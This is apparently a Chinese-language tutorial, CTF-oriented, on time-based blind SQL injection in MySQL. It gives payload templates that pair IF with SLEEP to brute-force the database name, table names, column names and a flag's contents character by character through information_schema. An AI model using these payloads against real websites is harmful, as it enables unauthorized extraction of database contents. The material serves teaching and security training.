Time-based sql injection 是指利用 SQL Injection 造成查詢時的時間延遲,透過時間差來洩漏資料庫中的資料。
Time-based sql injection 和 Boolean-based 一樣屬於 blind injection,可以在完全網頁沒有回顯的情況下洩漏資料。
優點:即使 True / False 都無法對網頁造成影響,Time-based 依然可以使用。
缺點:由於網路本身會有延遲,因此 time-based sql injection 通常不能將延遲的時間設得過短,以免有 noise。而這就會需要較長的時間來洩漏資料。
通常注入會先選擇:UNION > 報錯 > 布林盲注 > 時間盲注
IF
利用 SLEEP
可以造成延遲時間,搭配 IF
就可以輕易地洩漏出資料了。
SLEEP(duration)
:暫停 duration 秒
IF(expr1, expr2, expr3)
:以 expr1 為條件,如果 expr1 為真,則回傳 expr2,反之回傳 expr3。
判斷 database 名稱長度:
<原SQL語法>
IF(
LENGTH(database()) = 1,
sleep(5),
666
)
database()
取得當前資料庫名稱,利用 LENGTH()
取得長度,再與 1
比較,若長度確實為 1
,則延遲 5 秒。透過替換數字 1
,可以爆搜資料庫長度。判斷 database 名字:
<原SQL語法>
IF(
SUBSTR(database(), 1, 1) = 'a',
sleep(5),
666
)
SUBSTR
將資料庫名稱的第一個字元取出,與 a
相比較,若相等則延遲 5 秒,若不相等則替換為 b
,依此類推可以抱搜出第一個字元。SUBSTR(database(),2,1)
,依此類推,直到找到所有字元。判斷 table 名稱:
<原SQL語法>
IF(
SUBSTR((
SELECT `table_name`
FROM `information_schema`.`tables`
WHERE `table_schema` = database()
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
LIMIT 0,1
也可以看作 LIMIT 1 OFFSET 0
,從第0筆資料開始取1筆資料判斷欄位名稱:
<原SQL語法>
IF(
SUBSTR((
SELECT `column_name`
FROM `information_schema`.`columns`
WHERE `table_name` = 'flag'
AND `table_schema` = database()
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
判斷內容:
<原SQL語法>
IF(
SUBSTR((
SELECT `flag`
FROM `CTF`.`flag`
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
參考資料:https://zh.codeprj.com/blog/ac81341.html